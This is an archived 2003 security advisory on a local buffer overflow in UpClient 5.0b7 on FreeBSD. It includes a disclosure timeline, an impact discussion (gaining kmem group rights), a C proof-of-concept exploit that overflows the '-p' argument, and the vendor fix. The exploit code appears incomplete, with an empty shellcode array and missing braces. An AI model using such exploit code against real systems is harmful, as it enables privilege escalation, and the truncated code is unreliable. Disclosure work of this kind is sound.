TUCoPS :: BSD :: bt273.txt

NuxAcid#002 - Buffer Overflow in UpClient


Advisory name           : Local Buffer Overflow in upclient 
Risk                    : Medium (exploit grants kmem rights)
Date                    : 27.05.2003
Application             : upclient
Versions Vulnerable     : UpClient 5.0b7, possible others
Vendor                  : Carsten Klapp <carstenklapp@users.sf.net> \
                          Ryan Grove ryan@wonko.com

23.05.03 - found vulnerability
23.05.03 - written proof of concept code
23.05.03 - informed the author(s)
25.05.03 - informed the freebsd security officers
26.05.03 - solution found
27.05.03 - public release

by Gino Thomas (alias 'dairaen'), http://www.nux-acid.org
This information is provided freely to all interested parties
and may be redistributed provided that it is not altered in any way

This advisory was provided under the policy 
documented at http://www.wiretrip.net/rfp/policy.html


Uptime Client is a little program that keeps track of your uptime and
sends it to a server where you can compare it to many other hosts and
browse through various statistical information. 

WWW: http://uptimes.wonko.com/


While pentesting the FreeBSD portstree i found /usr/ports/misc/upclient
vulnerable to a common buffer overflow.

on FreeBSD at least upclient is installed (default):
-r-xr-sr-x  1 root  kmem  28312 Mar 23 19:58 /usr/local/sbin/upclient

means, the attacker could get egid=2(kmem) groups=2(kmem) rights,
which at least provide read access to the following files:

develop# find / -group kmem

Having egid=2(kmem) groups=2(kmem) makes it easier
to get root privileges.

>From 'man kmem':

"The special file /dev/mem is an interface to the physical memory of the
computer.  Byte offsets in this file are interpreted as physical memory
addresses.  Reading and writing this file is equivalent to reading and
writing memory itself.  Only offsets within the bounds of /dev/mem are

Kernel virtual memory is accessed through the interface /dev/kmem in the
same manner as /dev/mem.  Only kernel virtual addresses that are cur-
rently mapped to memory are allowed."


See the exploit in action:

> id
uid=1001(admin) gid=1001(admin) groups=1001(admin), 0(wheel)
$ id
uid=1001(admin) gid=1001(admin) egid=2(kmem) groups=2(kmem), 

* NuxAcid - UPCLIENT Local Buffer Overflow Exploit
* written on/for FreeBSD
* tested against UpClient 5.0b7 on FreeBSD 4.8
* for FreeBSD 5.x the code has to be tweaked
* other versions may be vulnerable too
* 2003 by Gino Thomas, http://www.nux-acid.org

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFFERSIZE 1022

unsigned long get_sp(void) {
 __asm__("movl %esp, %eax");

int main(int argc, char **argv)
  char buffer[BUFFERSIZE] = "";

//FreeBSD exec/setuid Shellcode
static char shellcode[] =

memset(buffer, 0x90 ,sizeof(buffer));
*(long *)&buffer[BUFFERSIZE - 4] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 8] = 0xbfbffb21;
*(long *)&buffer[BUFFERSIZE - 16] = 0xbfbffb21;
memcpy(buffer + BUFFERSIZE - 16 - strlen(shellcode), shellcode, strlen(shellcode));

execl("/usr/local/sbin/upclient","upclient", "-p", buffer, NULL);
return 0;


The author was informed 23.05.03. He immediately
started to develop a patch and has taken security
very serious, always informing me about his steps
and willing to improve the overall security of 


upgrade to UpClient 5.0b8 at https://sourceforge.net/projects/upclient/

=+[Personal Marketing]+=

I am seeking a JOB in munich (germany).
If you have security related jobs to offer
please feel free to contact me at g.thomas@nux-acid.org

You can get a short overview of me and my skills
by reading the personal section of my website 


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH